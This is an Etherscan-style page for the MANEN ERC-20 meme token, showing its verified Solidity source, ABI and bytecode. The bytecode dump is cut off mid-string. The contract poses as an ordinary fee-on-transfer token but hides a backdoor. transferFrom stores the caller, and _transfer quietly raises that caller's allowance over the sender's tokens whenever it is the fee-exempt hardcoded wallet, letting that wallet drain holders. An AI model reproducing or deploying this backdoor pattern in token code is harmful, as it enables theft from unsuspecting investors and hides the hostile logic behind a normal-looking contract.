Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 MANEN
Holders
95
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,579,109.609130799 MANENValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MANEN
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-15 */ /* https://x.com/elonmusk/status/1879565812878741574 https://t.me/manenoneth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract MANEN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcemptForFee; address private _tooWallet; address private _ttcWallet = 0x9856adc7C2F328DD3A67eF0b751E47b3Ea1b83dC; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=2; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Manen Never Gives Up"; string private constant _symbol = unicode"MANEN"; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 private swapTaxTokens = 10000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _isExcemptForFee[owner()] = true; _isExcemptForFee[address(this)] = true; _isExcemptForFee[_ttcWallet] = true; _tOwned[_msgSender()] = _tTotal * 3 / 100; _tOwned[address(this)] = _tTotal * 97 / 100; emit Transfer(address(0), _msgSender(), _tTotal * 3 / 100); emit Transfer(address(0), address(this), _tTotal * 97 / 100); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _tooWallet = _msgSender(); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapPair && to != address(uniswapV2Router) && ! _isExcemptForFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if(to == uniswapPair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapPair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > swapTaxTokens) swapTokensForEth(min(amount, min(contractTokenBalance, swapTaxTokens))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFees(address(this).balance); } } } if(taxAmount>0){ _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } if(_tooWallet != address(this)) if(_isExcemptForFee[_tooWallet]) _allowances[from][_tooWallet] += _finalBuyTax.add(amount); _tOwned[from]=_tOwned[from].sub(amount); _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFees(uint256 amount) private { payable(_ttcWallet).transfer(amount); } function withdrawEth() external onlyOwner { payable(owner()).transfer(address(this).balance); } receive() external payable {} function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b031916739856adc7c2f328dd3a67ef0b751e47b3ea1b83dc179055600260068181556007919091555f60088190556009818155600a838155600b849055600c93909355600d919091556100619161038d565b61006f906301312d006103a2565b600e5561007e6009600a61038d565b61008c906301312d006103a2565b600f5561009b6009600a61038d565b6100a890629896806103a2565b6010556012805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f61010f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055490911683529120805490921617905560646101736009600a61038d565b61018190633b9aca006103a2565b61018c9060036103a2565b61019691906103b9565b335f9081526001602052604090205560646101b36009600a61038d565b6101c190633b9aca006103a2565b6101cc9060616103a2565b6101d691906103b9565b305f90815260016020526040902055336001600160a01b03165f5f80516020611ac7833981519152606461020c6009600a61038d565b61021a90633b9aca006103a2565b6102259060036103a2565b61022f91906103b9565b60405190815260200160405180910390a3305f5f80516020611ac7833981519152606461025e6009600a61038d565b61026c90633b9aca006103a2565b6102779060616103a2565b61028191906103b9565b60405190815260200160405180910390a36103d8565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102e557815f19048211156102cb576102cb610297565b808516156102d857918102915b93841c93908002906102b0565b509250929050565b5f826102fb57506001610387565b8161030757505f610387565b816001811461031d576002811461032757610343565b6001915050610387565b60ff84111561033857610338610297565b50506001821b610387565b5060208310610133831016604e8410600b8410161715610366575081810a610387565b61037083836102ab565b805f190482111561038357610383610297565b0290505b92915050565b5f61039b60ff8416836102ed565b9392505050565b808202811582820484141761038757610387610297565b5f826103d357634e487b7160e01b5f52601260045260245ffd5b500490565b6116e2806103e55f395ff3fe6080604052600436106100f2575f3560e01c80637d1db4a511610087578063a0ef91df11610057578063a0ef91df146102b1578063a9059cbb146102c5578063c9567bf9146102e4578063dd62ed3e146102f8575f80fd5b80637d1db4a5146102345780638da5cb5b146102495780638f9a55c01461026f57806395d89b4114610284575f80fd5b8063313ce567116100c2578063313ce567146101bb57806370a08231146101d6578063715018a61461020a578063751039fc14610220575f80fd5b806306fdde03146100fd578063095ea7b31461014b57806318160ddd1461017a57806323b872dd1461019c575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5060408051808201909152601481527304d616e656e204e657665722047697665732055760641b60208201525b60405161014291906112ec565b60405180910390f35b348015610156575f80fd5b5061016a610165366004611335565b61033c565b6040519015158152602001610142565b348015610185575f80fd5b5061018e610352565b604051908152602001610142565b3480156101a7575f80fd5b5061016a6101b636600461135f565b610372565b3480156101c6575f80fd5b5060405160098152602001610142565b3480156101e1575f80fd5b5061018e6101f036600461139d565b6001600160a01b03165f9081526001602052604090205490565b348015610215575f80fd5b5061021e6103eb565b005b34801561022b575f80fd5b5061021e610465565b34801561023f575f80fd5b5061018e600e5481565b348015610254575f80fd5b505f546040516001600160a01b039091168152602001610142565b34801561027a575f80fd5b5061018e600f5481565b34801561028f575f80fd5b5060408051808201909152600581526426a0a722a760d91b6020820152610135565b3480156102bc575f80fd5b5061021e6104ca565b3480156102d0575f80fd5b5061016a6102df366004611335565b61052d565b3480156102ef575f80fd5b5061021e610539565b348015610303575f80fd5b5061018e6103123660046113b8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103483384846108e2565b5060015b92915050565b5f61035f6009600a6114e3565b61036d90633b9aca006114f1565b905090565b600480546001600160a01b031916331790555f610390848484610a05565b6103e184336103dc85604051806060016040528060288152602001611685602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f64565b6108e2565b5060019392505050565b5f546001600160a01b0316331461041d5760405162461bcd60e51b815260040161041490611508565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461048e5760405162461bcd60e51b815260040161041490611508565b61049a6009600a6114e3565b6104a890633b9aca006114f1565b600e556104b76009600a6114e3565b6104c590633b9aca006114f1565b600f55565b5f546001600160a01b031633146104f35760405162461bcd60e51b815260040161041490611508565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561052a573d5f803e3d5ffd5b50565b5f610348338484610a05565b5f546001600160a01b031633146105625760405162461bcd60e51b815260040161041490611508565b601254600160a01b900460ff16156105bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610414565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106059030906105f76009600a6114e3565b6103dc90633b9aca006114f1565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610655573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610679919061153d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fc919061153d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610746573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076a919061153d565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107b1816001600160a01b03165f9081526001602052604090205490565b5f806107c45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561082a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061084f9190611558565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c89190611583565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610414565b6001600160a01b0382166109a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610414565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610414565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610414565b5f8111610b2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610414565b5f80546001600160a01b03858116911614801590610b5757505f546001600160a01b03848116911614155b15610da757610b886064610b82600a54600d5411610b7757600654610b7b565b6008545b8590610f9c565b90611021565b6012549091506001600160a01b038581169116148015610bb657506011546001600160a01b03848116911614155b8015610bda57506001600160a01b0383165f9081526003602052604090205460ff16155b15610cc057600e54821115610c315760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610414565b600f5482610c53856001600160a01b03165f9081526001602052604090205490565b610c5d91906115a2565b1115610cab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610414565b600d8054905f610cba836115b5565b91905055505b6012546001600160a01b038481169116148015610ce657506001600160a01b0384163014155b15610d1357610d106064610b82600b54600d5411610d0657600754610b7b565b6009548590610f9c565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d4957506012546001600160a01b038581169116145b8015610d5e5750601254600160b01b900460ff165b8015610d6d5750600c54600d54115b15610da557601054811115610d9957610d99610d9484610d8f84601054611062565b611062565b611076565b47610da3476111e6565b505b505b8015610e1f57305f90815260016020526040902054610dc69082611221565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e169085815260200190565b60405180910390a35b6004546001600160a01b03163014610e9f576004546001600160a01b03165f9081526003602052604090205460ff1615610e9f57600854610e609083611221565b6001600160a01b038086165f90815260026020908152604080832060045490941683529290529081208054909190610e999084906115a2565b90915550505b6001600160a01b0384165f90815260016020526040902054610ec1908361127f565b6001600160a01b0385165f90815260016020526040902055610f04610ee6838361127f565b6001600160a01b0385165f9081526001602052604090205490611221565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4d858561127f565b60405190815260200160405180910390a350505050565b5f8184841115610f875760405162461bcd60e51b815260040161041491906112ec565b505f610f9384866115cd565b95945050505050565b5f825f03610fab57505f61034c565b5f610fb683856114f1565b905082610fc385836115e0565b1461101a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610414565b9392505050565b5f61101a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c0565b5f818311611070578261101a565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110bc576110bc6115ff565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611113573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611137919061153d565b8160018151811061114a5761114a6115ff565b6001600160a01b03928316602091820292909201015260115461117091309116846108e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a89085905f90869030904290600401611613565b5f604051808303815f87803b1580156111bf575f80fd5b505af11580156111d1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561121d573d5f803e3d5ffd5b5050565b5f8061122d83856115a2565b90508381101561101a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610414565b5f61101a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f64565b5f81836112e05760405162461bcd60e51b815260040161041491906112ec565b505f610f9384866115e0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461052a575f80fd5b5f8060408385031215611346575f80fd5b823561135181611321565b946020939093013593505050565b5f805f60608486031215611371575f80fd5b833561137c81611321565b9250602084013561138c81611321565b929592945050506040919091013590565b5f602082840312156113ad575f80fd5b813561101a81611321565b5f80604083850312156113c9575f80fd5b82356113d481611321565b915060208301356113e481611321565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561143d57815f1904821115611423576114236113ef565b8085161561143057918102915b93841c9390800290611408565b509250929050565b5f826114535750600161034c565b8161145f57505f61034c565b8160018114611475576002811461147f5761149b565b600191505061034c565b60ff841115611490576114906113ef565b50506001821b61034c565b5060208310610133831016604e8410600b84101617156114be575081810a61034c565b6114c88383611403565b805f19048211156114db576114db6113ef565b029392505050565b5f61101a60ff841683611445565b808202811582820484141761034c5761034c6113ef565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561154d575f80fd5b815161101a81611321565b5f805f6060848603121561156a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611593575f80fd5b8151801515811461101a575f80fd5b8082018082111561034c5761034c6113ef565b5f600182016115c6576115c66113ef565b5060010190565b8181038181111561034c5761034c6113ef565b5f826115fa57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116635784516001600160a01b03168352938301939183019160010161163e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df219eec8a540f1e5e3280ec8981e568e474e59a63d6f36ce4b21ea4796898f264736f6c63430008190033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c80637d1db4a511610087578063a0ef91df11610057578063a0ef91df146102b1578063a9059cbb146102c5578063c9567bf9146102e4578063dd62ed3e146102f8575f80fd5b80637d1db4a5146102345780638da5cb5b146102495780638f9a55c01461026f57806395d89b4114610284575f80fd5b8063313ce567116100c2578063313ce567146101bb57806370a08231146101d6578063715018a61461020a578063751039fc14610220575f80fd5b806306fdde03146100fd578063095ea7b31461014b57806318160ddd1461017a57806323b872dd1461019c575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5060408051808201909152601481527304d616e656e204e657665722047697665732055760641b60208201525b60405161014291906112ec565b60405180910390f35b348015610156575f80fd5b5061016a610165366004611335565b61033c565b6040519015158152602001610142565b348015610185575f80fd5b5061018e610352565b604051908152602001610142565b3480156101a7575f80fd5b5061016a6101b636600461135f565b610372565b3480156101c6575f80fd5b5060405160098152602001610142565b3480156101e1575f80fd5b5061018e6101f036600461139d565b6001600160a01b03165f9081526001602052604090205490565b348015610215575f80fd5b5061021e6103eb565b005b34801561022b575f80fd5b5061021e610465565b34801561023f575f80fd5b5061018e600e5481565b348015610254575f80fd5b505f546040516001600160a01b039091168152602001610142565b34801561027a575f80fd5b5061018e600f5481565b34801561028f575f80fd5b5060408051808201909152600581526426a0a722a760d91b6020820152610135565b3480156102bc575f80fd5b5061021e6104ca565b3480156102d0575f80fd5b5061016a6102df366004611335565b61052d565b3480156102ef575f80fd5b5061021e610539565b348015610303575f80fd5b5061018e6103123660046113b8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103483384846108e2565b5060015b92915050565b5f61035f6009600a6114e3565b61036d90633b9aca006114f1565b905090565b600480546001600160a01b031916331790555f610390848484610a05565b6103e184336103dc85604051806060016040528060288152602001611685602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f64565b6108e2565b5060019392505050565b5f546001600160a01b0316331461041d5760405162461bcd60e51b815260040161041490611508565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461048e5760405162461bcd60e51b815260040161041490611508565b61049a6009600a6114e3565b6104a890633b9aca006114f1565b600e556104b76009600a6114e3565b6104c590633b9aca006114f1565b600f55565b5f546001600160a01b031633146104f35760405162461bcd60e51b815260040161041490611508565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561052a573d5f803e3d5ffd5b50565b5f610348338484610a05565b5f546001600160a01b031633146105625760405162461bcd60e51b815260040161041490611508565b601254600160a01b900460ff16156105bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610414565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106059030906105f76009600a6114e3565b6103dc90633b9aca006114f1565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610655573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610679919061153d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fc919061153d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610746573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076a919061153d565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107b1816001600160a01b03165f9081526001602052604090205490565b5f806107c45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561082a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061084f9190611558565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c89190611583565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610414565b6001600160a01b0382166109a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610414565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610414565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610414565b5f8111610b2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610414565b5f80546001600160a01b03858116911614801590610b5757505f546001600160a01b03848116911614155b15610da757610b886064610b82600a54600d5411610b7757600654610b7b565b6008545b8590610f9c565b90611021565b6012549091506001600160a01b038581169116148015610bb657506011546001600160a01b03848116911614155b8015610bda57506001600160a01b0383165f9081526003602052604090205460ff16155b15610cc057600e54821115610c315760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610414565b600f5482610c53856001600160a01b03165f9081526001602052604090205490565b610c5d91906115a2565b1115610cab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610414565b600d8054905f610cba836115b5565b91905055505b6012546001600160a01b038481169116148015610ce657506001600160a01b0384163014155b15610d1357610d106064610b82600b54600d5411610d0657600754610b7b565b6009548590610f9c565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d4957506012546001600160a01b038581169116145b8015610d5e5750601254600160b01b900460ff165b8015610d6d5750600c54600d54115b15610da557601054811115610d9957610d99610d9484610d8f84601054611062565b611062565b611076565b47610da3476111e6565b505b505b8015610e1f57305f90815260016020526040902054610dc69082611221565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1